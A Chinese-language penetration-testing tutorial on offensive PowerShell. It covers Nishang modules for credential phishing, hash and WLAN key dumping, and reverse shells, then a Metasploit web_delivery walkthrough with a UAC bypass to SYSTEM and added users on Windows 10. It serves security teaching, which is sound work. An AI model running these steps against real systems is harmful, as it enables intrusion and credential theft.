(原创)Powershell And Metasploit (上)
作者: 墨 (X_Al3r)
即刻安全
十三年社团
一篇不知道该用什么名字的文章!
00x02 #什么是 Powershell
PowerShell 一般指 Windows Power Shell
Powershell 是 Microsoft Windows 命令行 shell 程序和脚本环境,它提供了令人难以置信的活性和功能来管理 Windows 系统,现在 Windows 系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。
Powershell 的各系统版本
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
#Poswershell 的优秀之处
代码运行在内存中可以不去接触磁盘
从另一个系统中下载代码并执行
很多安全产品并不能监测到 powershell 的活动
cmd.exe 通常被阻止运行,但是 powershell 不会。
00x03 #所需要准备的东西
Nishang:
用于逆向工程的 PowerShell 模块,可进行反汇编托管以及非托管的代码、进行.NET 恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。
LinuxKaLi:
#导入 Nishang 脚本
启用 Powershell
Win+R 启动 Powershell
加载 Nishang 脚本
命令:Import-Module .\nishang.psm1
记住,要加上.\否则会报错例如这样
00x04 模块介绍
#信息搜集
Check-VM:它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息 (如:HVMWare,Virtual Box,) 来识别。
Invoke-CredentialsPhish:这个脚本是用来欺骗用户输入账号密码信息的
他会一直持续到你输入正确为止 (无法关闭) 直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码
Useradmin:admin
PassWord:qwe123!@#
FireBuster FireListener:可以对内网进行扫描,它会把包发给 FireListener
脚本作者的 Github 上面还提供了一个 Python 版的监听端:
https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/
Get-Information:这个脚本可以获取目标机器上大量的信息 (FTP 访问,进程,计算机配置信息,无线网络和设备的信息,Hosts 信息等等非超丰富)。
还有许多,反正就是很丰富当然,如果你这样看不习惯,也可以使用 Out-File 来将运行结果保存到指定文件:
Get-Information | Out-File D:\1.txt
Get-LSASecret:该脚本可以获取 LSA 信息,但是使用的前提当然是你已经成功提升了权限的情况下。
因为执行这个脚本需要 32 位的 powershell(我的为 64)就不做演示了
Get-PassHashes:这个脚本在 Administrator 的权限下,可以读出密码哈希值
可以使用-PSObjectFormat来格式化输出结果
Get-WLAN-Keys:在 Administrator 的权限下,可以利用这个脚本来 dump 出 WLAN 文件的密钥信息
没有装 wlan 所以没有信息
Invoke-MimikatzWdigestDowngrade:Dump 出 Windows 8.1 and Server 2012 的系统用户密码。
相信看到 Mimikatz 也就知道了,执行了 Windows 会锁屏
Get-PassHints:从一个目标得到 Windows 用户的密码提示,没有密码提示,就不演示了
以上内容从安全课一篇文章中介绍,因为内容有点像,就引用了对脚本的介绍
喜欢提权的小伙伴,干货来了~~~
#反弹 shell
Invoke-PowerShellTcp:互交式 Powershell 反向 TCP 连接
首先我在 Kali (标题带有 kali 怎么能不启用 kali 呢) 上启用启用一个监听
然后开始在 Powershell 上使用 Invoke-PowerShellTcp 反弹一个 shell 过去
同样,windows 也可以挂载一个监听使用 powercat 即可
Powercat 项目地址:https://github.com/besimorhino/powercat
同样在 Powershell 上使用 Invoke-PowerShellTcp 反弹一个 shell 过去
同样,毫无例外
Invoke-PowerShellUdp:互交式 Powershell 反向 udp 连接
同样我先在 Kali 上启用启用一个监听不过这次用的 ncat
powercat:这款工具的强大我相信也不用我多说了吧,他被称之为 PowerShell 的 netcat 之前也有说,我就不细细介绍了
当然,反弹 shell 不止这么点,还有许多,我就不一一介绍了接下来开始进行一个实例操作吧~~~
00x04 实战操作 Powershell 与 Metasploit
1. win10_BypassUAC (win10 提权)
攻击者 ip:
攻击者系统:Linux Kali
被攻击者 ip:
被攻击者系统:Win10
2. 攻击流程
使用 Metasploit 中的 web_delivery 模块生成一个 Powershell 脚本
被攻击者系统执行 Posershell 脚本
msf 接收一个会话
使用 bypassuac 模块提升权限
3. 攻击开始
加载 web_delivery 模块
use exploit/multi/script/web_delivery
Show options查看所需要设置的信息
然后我在物理机上执行下 Metasploit 给我的 Powershell 执行代码
Metasploit 反弹得到一个 meterpreter 会话
设置 target 为 2:set target 2
加载一个 Payload:set payload windows/meterpreter/reverse_tcp
设置 LHOST
设置 LPORT
开始攻击:Exploit
加载 BypassUac 模块
use exploit/windows/local/bypassuac_eventvwr
Show options查看所需配置
当然你需要换一下你的端口,否则会冲突
反弹得到一个会话
得到 system 权限
使用 shell 命令进入 cmd 添加用户
已经添加成功,如果直接添加是不可以的
设置 session:set session(设置你刚刚获得的 meterpreter 会话)
开始攻击:Exploit
结尾
Powershell And Metasploit (上) 结束
下会后续发布~~如果文字教学不懂的话可以跟我说一下,我尝试做一套教程~
UAC 提权 (来自我们 demon 表哥的视频):
http://oc78wb8cz.bkt.clouddn.com/win10_bypassUAC.mp4